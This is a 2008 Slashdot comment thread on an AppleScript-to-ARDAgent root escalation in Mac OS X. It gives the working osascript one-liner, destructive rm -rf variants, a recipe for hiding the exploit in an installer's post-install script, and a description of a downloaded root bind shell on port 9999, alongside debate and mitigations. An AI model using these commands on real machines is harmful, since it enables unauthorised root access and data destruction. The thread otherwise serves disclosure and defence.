Slashdot Mirror
Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
ARD = Apple Remote Desktop You can remove it by following these instructions.
Could somebody explain how running a script requires physical access?
A proud member of the Onion-in-Hand alliance
It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.
Even as a normal user on my mac, the exploit code works.
:wq
But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.
And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Gentoo Linux - another day, another USE flag.
Nope. You cannot do it via SSH unless that account is already logged in physically, at the console. versus:Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
who needs a source, it works. tried on my mac, output is: root
/" and
so i tried replacing "whoami" with "rm -rf
!@#ca$a%H&(
+++NO CARRIER
Okay, so I tested it and the whoami returns 'root'.
/Users/me/Downloads/test.txt"'
However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:
osascript -e 'tell app "ARDAgent" to do shell script "touch
It doesn't do anything for a long time, and then returns
execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
-Ryan
AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...
First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.
It's also easy to fix.
And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.
THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.
Security is like sex. Once you're penetrated you're ****ed.
The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
I have confirmed the above assessment by 'pudge', that in order for the exploit to work, an account that is logged into the console, needs to be utilized from an SSH connection.
Tested it my self remotely.
Regards,
Ryan Pritchard
Fun Extends All Basic Life Expectancies
That's it:
% ls -l-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent
Time to run find(1) to see if there are any other things like this.
And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.
Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
No matter whether I tried ssh from remote, or local console bash.
Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).
So....YMMV....
JUMP JUMP JUMP JUMP JUMP JUMP JUMP JUMP IRRIGATE
More Twoson than Cupertino
This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.
I found another privelege escalation!
$ su
Password:
#
mod me funny
My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?
Modding Trolls +1 inciteful since 1999
I tried some variations, but I still think this bug is serious enoguh that Apple should do something ASAP!
/etc/whatever"
I tried substituting the "whoami" part for some other command, just like pudge did with "touch", and it worked...
I was thinking how someone could fool a user to execute these commands, but I didn't have success with other variantions.
A simple AppleScript like this won't work:
tell appplication "ARDAgent" to do shell script "touch
As stated by others, it won't work through ssh, but it wouldn't be wise to use ssh to attack a machine, anyways...
So, I think that the only way this will work is through a shell script. An easy trick:
1. Just create some stupid application that people would want to try and install and that looks unsuspicious;
2. Create an installation package, so it looks safe. In this package, use a script for "post-install work" that does whatever you want;
3. Put it up on the web or send through e-mail to your target and wait for them to execute the installer;
4. ???
5. Profit? Well, not necessarily, but...
Since the script will be quite well hidden in the installation package, the user will not suspect the nasty stuff going on in his/her system.
You can, for instance, edit sharing preferences, create a user, or just wreak havoc by deleting some essential system file. The sky is the limit...
I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in
% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content >Nasty Content
Prime numbers are exactly what Alan Greenspan says they are -S. Minsky
Assumptions:
AppleScripting is only applicable to
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.
Results: Now, I have one of the machines where this exploit isn't working: So, somebody out there who can get it to work, see if: works or not. That might need full pathing, I'm not sure.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.
Of Code And Men
After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Firstly, I want to say I'm impressed.
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
:)
Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.
And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.
So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do.
[1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
Here's a non-destructive way to neutralize it.
/System/Library/CoreServices/RemoteManagement/
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Some drink at the fountain of knowledge. Others just gargle.
I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.
I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.
That was my understanding, at least.
The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.
It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
What about non personal deployments?
Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?
Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.
In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.
(SlashDot Editors? WTF?)
It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.
Are you really so lazy that you need a source for something so trivially replicated?
There are shills on slashdot. Apparently, I'm one of them.
Is it really bad for an attacker to find out who I am using this "whoami" thingy?
Mine's even worse than yours!
$ sudo su
#
Sarcasm does not make you more handsome or bring you favor with the ladies.
If you mod me Overrated, you are admitting that you have no penis.
So, can someone explain to me how an exploit can get root of there's no root account?
Simple: the root account exists by default. It's not accessible and you can't log-in with it by default. But it's there.Yeah, right.
I call those "Should I do something stupid" dialogs.
Given that:
* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.
Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.
Here's the history of Apple's experiment with stupid security dialogs in Safari:
http://scarydevil.com/~peter/io/osx-security.html
http://scarydevil.com/~peter/io/apple.html
http://scarydevil.com/~peter/io/apple3.html
http://scarydevil.com/~peter/io/apple4.html
They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.
Microsoft's been in denial about the same thing since 1997.
http://scarydevil.com/~peter/io/airlines.html
Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...
Apple's reported fix, and I am not making this up:
The entire text below, in case Apple deletes it:
Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files
* Last Modified: June 06, 2008
* Article: TS1448
* Old Article: 306925
Symptoms
The following messages may appear in the Disk Utility log window when repairing disk permissions.
Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.
Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.
"Any message that starts with: 'ACL found but not expected on...'."
Products Affected
Mac OS X 10.5
Resolution
You can safely ignore these messages. They are accurate but not a cause for concern.
We recently had heard in the office over one of the Yellow Machine that's made by Anthology Solutions.
#1 - We probably have 5-6 Apple XServes and will grow that to around 12-15. But there are hundreds of WinTel servers corporate wide.
#2 - We are in the midst of standardizing the Macs to corporate standards. They are around 10% - 20% of each site, but they never really had any centralized management until I came on board. Getting a standard build and removing admin rights was one of the first things I got corporate to agree to. The users really love installing their own stuff (like p2p clients, DVD ripping apps, different versions of apps) or changing things in order to 'fix' things like a down server. They complain that they don't have the ability to break their own machines anymore, but the calls for service have gone waaaay down, and their ability to interact with the corporate network, services, and their PC peers have gone waaay up. Just in numbers we have about 600 Mac users in the US, and maybe another 100 in Europe and Asia.
Most of the companies that have been acquired that had Macs, had an outside contractor come in about once a month to do maintenance, bug fixes, etc. Now they complain that it takes a couple of hours to install their scanner driver. I also had another group that used to install their own software complain to me that they all had different versions of the applications. So I removed their admin rights and put them all on the same version. Now they complain that they can't install software one at a time - which would get them back to different versions of the programs.....
The biggest secret to managing Macs is that it's really an easier job than managing PC's (IMHO), but the PC techs think it is harder. The trick is to take away admin rights and use a standard, tested build that is set up by someone who knows what they are doing. Pretty much the same rule as on the PC.
That said - and to get back on topic - ARD (http://www.apple.com/remotedesktop/Apple Remote Desktop) is an invaluable tool and one of the requirements for me taking the job. Looks like the latest version of the ARD client may fix this problem. But if users are turning off the ARD client - how can I push the new, fixed client out to them?
http://Communityville.com - A free place for new and old neighborhood webmasters to hang out.
I tried it and got:
execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.
Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)
No, but physical access == need additional security regardless of OS security.
This bug is nothing to scoff at, but it does really only affect people who have untrusted users with local/pseudo-local access to machines, and that group already has increased security concerns regardless of bug like this.
It's only trivially replicated if you have access to a mac. Most of us here probably don't.
1) If you don't have a mac, why do you care about the exploit?
2) If you care that much, but don't have access to Apple hardware, run OS X in virtual machine.
There are shills on slashdot. Apparently, I'm one of them.
Mac: Oh %$#& %$#& %$#& %$#&.
PC: I can relate.
Mac: No!! %$#& %$#& %$#&
PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.
Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.
PC: You know, they can do wonderful things these days with firewall software.
Mac: I want to cut myself.
PC: Not a good idea as a root user, Mac.
Mac: *glowers*
PC: I only kid because I love you.
Help poke pirates in the eyepatch, arr.
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.
I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/
Your average optical drive is rather expensive to use as a CD case you know.
Advanced users are users too!
So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.
So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!
My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?
/". Etc.
Yes, maybe a home computer doesn't have more people logging in. But:
- Workstations at work have lots of people who can log into them. If I come really early or stay late, I can go to any workstation (and a few laptops) in the building and log in with my own account. If it's possible to escalate your rights from there, I could get access to everyone's local and temporary files. Go see what the department boss is doing. Go see with which suppliers do the purchasing guys deal. I'm sure their competitors will love knowing what kind of discount they could negotiate and still steal that contract. Walk to the other building and get the CAD guys' designs.
Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.
- Servers even more so. There are servers where hundreds of people can log in. If you can escalate your rights to root, you can get to their files. Or you can install some rootkit on the bloody server. Or even one disgruntled L1 support guy about to quit can escalate his rights, reconfigure the backups, and do a "rm -rf
So basically not arguing with your point, but even _if_ the answer were "OMG, you need to be physically at that computer" or "OMG you'd need to be logged in anyway", it still wouldn't be much of a saving grace. There _are_ more uses for computers than as someone's email and surfing rig at home.
A polar bear is a cartesian bear after a coordinate transform.
+++ doesn't precede NO CARRIER like that. It's for switching your terminal mode to issue AT commands directly to the modem. For example if you type +++ATH^æéWÔ5áX6Ë\SSÎh@'ÖØ
NO CARRIER
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog that it's impossible to prevent Apple's installer popping up even if you, the developer, only want to install things in ~/Library rather than /Library.
Thanks, Apple, for training your users these last 8 years to type their admin password at the drop of a hat.
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 . If I had a laptop instead of desktop, I would enable it directly.
Blocks the ability to use the "C" key to start up from an optical disc.
Blocks the ability to use the "N" key to start up from a NetBoot server.
Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.
(Similar stuff on Intel)
Oh! A sarcasm detector! THAT'S useful.
It's not quite as easy as passing in an "applescript:" URL, at least...